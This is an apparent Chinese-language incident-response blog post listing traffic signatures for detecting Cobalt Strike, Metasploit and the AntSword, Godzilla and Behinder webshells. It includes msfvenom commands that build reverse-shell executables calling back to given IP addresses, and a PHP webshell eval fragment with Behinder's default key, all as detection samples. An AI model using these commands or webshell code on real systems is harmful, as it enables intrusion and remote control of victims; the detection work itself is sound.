应急响应--流量分析

(一)Cobalt Strike流量特征分析

1.HTTP特征

源码特征:

在流量中,通过http协议的url路径,在checksum8解密算法计算后,32位的后门得到的结果是92,64位的后门得到的结果是93,该特征符合未魔改Cobalt Strike的流量特征。

java 复制代码
public class EchoTest {
  public static long checksum8(String text) {
    if (text.length() < 4) {
      return 0L;
    }
    text = text.replace("/", "");
    long sum = 0L;
    for (int x = 0; x < text.length(); x++) {
      sum += text.charAt(x);
    }
    return sum % 256L;
  }
  public static void main(String[] args) throws Exception {
    System.out.println(checksum8("flJA"));
  }
}

流量特征:

固定的user-agent头:老版本的cobalt strike中user-agent头是固定不变的,可以作为一个特征,新版本的cobalt strike中的user-agent头是会每次都变化的。

例如,在cobalt strike4.8中两个不同的cobalt strike数据包的user-agent头是不同的。

特殊的请求特征:

在使用cobalt strike下达指令时,会出现post请求/sumbit.php?id=xxx的特征,该特征可以判断cobalt strike。

魔改后的cobalt strike遗留特征:

即使cobalt strike进行了证书文件的魔改,可以消除数据包的部分特征,但仍有部分特征没有修改,例如该图中是修改了cobalt strike证书文件的数据包情况,但是遗留了GET /cx和POST /q.cgi这两个特征。

工具:https://blog.didierstevens.com/didier-stevens-suite/

2.HTTPS特征

证书特征:

如果没有修改cobalt strike的证书或者自己手动加载自定义证书,默认的cobalt strike证书可以直接判断出该工具是cobalt strike。

JA3特征:

在数据包的client hello中,数据包有JA3和操作系统有关,每个操作系统都有固定的值,例如我使用的操作系统为windows11

JA3S特征:

在数据包的server hello中,数据包有JA3s和操作系统有关,每个操作系统都有固定的值,例如我使用的操作系统为windows11

(二)MSF的流量特征分析

1.TCP特征

msfvenom -p windows/shell/reverse_tcp lhost=116.62.152.86 lport=1234 -f exe -o test1.exe

利用明文传输(查看流量包,追踪流选择tcp),都含有MZ头和DOS异常

2.HTTP特征

msfvenom -p windows/meterpreter/reverse_http lhost=10.236.32.154 lport=4445 -f exe -o test.exe

有MZ头和DOS异常(因为都是meterpreter类型)、但是多了请求包和返回包

32位:

java 复制代码
请求包:
UA:Mozilla/5.0,
Connection: Keep-Alive
Cache-Control: no-cache
返回包
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: Keep-Alive
Server: Apache
Content-Length: 176732

64位:

java 复制代码
请求包:
GET /Host:Cache-Control:no-cache
返回包:
HITP/1.1 200 OK
Content-Type:application/octet-stream
Connection:close
Server: Apache
Content-Length:201820

3.HTTPS特征

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.236.0.30 lport=4445 -f exe -o test.exe

https的特征是流量中会含有Client Hello和Server Holle这四个包

Client包里面有JA值,Server包里面有JAS值

(三)蚁剑的流量特征

1.User-Agent

请求中的User-Agent值是:antSword/*;也有可能是:Mozilla/5.0 (Windows NT ) AppleWebKit/ (KHTML, like Gecko) Chrome/* Safari/

2.关键字

请求中可以检测到的关键字:"eval""eVAL"

请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑)

(四)哥斯拉的流量特征

1.强特征Cookie:

cookie字段,最后一个Cookie的值出现;(尾值出现分号)

2.请求头Accept:

请求中的Accept头是:

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

3.payload特征

jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马。

4.Connection响应

哥斯拉会响应三次,还有一个地方需要注意的就是webshell连接,所以一般会设置长时间连接,所以connection这里会是keep-alive

5.响应头中的Cache-Control头

响应头中的Cache-Control头是:Cache-Control: no-store, no-cache, must-revalidate

6.响应体的数据

响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

(五)冰蝎的流量特征

1.User-agent字段

java 复制代码
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)  

Mozilla/5.0 (Windows; U; Windows NT 6.1; en\-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0  

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)  

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299  

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0  

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36  

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)  

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko  

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0  

Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0  

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  

Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  

Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)

2.Content-type:

Content-type:Application/x-www-form-urlencoded

3.Connection字段:

Connection: Keep-Alive(冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)

4.Accept字段

请求头中存在Accept: application/json, text/javascript, /; q=0.01

也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, /; q=.2

Content-Type: application/octet-stream ******q=0.8

5.端口

冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。

6.PHP webshell 中存在固定代码

$post\=Decrypt(file\_get\_contents("php://input"));

eval($post);

7.请求头与响应包

有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时,冰蝎 webshell都有"e45e329feb5d925b" 一串密钥,与冰蝎3.0相同

相关推荐
sbjdhjd11 小时前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Hum8le18 小时前
CTF题目《easy_web》(安洵杯 2019 变种 Web)
前端·安全·web安全
Dachui_112218 小时前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub18 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
梦帮科技18 小时前
【3.0】上线与运维:节点监控、水龙头、区块浏览器与安全清单
运维·安全·web安全·金融·区块链·密码学·安全架构
菩提小狗19 小时前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录19 小时前
SRC 挖洞:TanStack Start 服务器函数 XSS 深度复盘,CVE-2026-102989 怎么窃取用户会话
运维·服务器·网络安全·xss
三84419 小时前
Fastjson 漏洞· 06 · 防御、审计与检测
安全·web安全·fastjson
中原第一高手20 小时前
fofatoto 1.8.0 发布:启动即知新版本、中文进度面板与更干净的 Web 日志
python·网络安全·开源·资产测绘·fofa
砚凝霜21 小时前
【软考信息安全】第十二章 网络安全审计概述与分类
网络·安全·web安全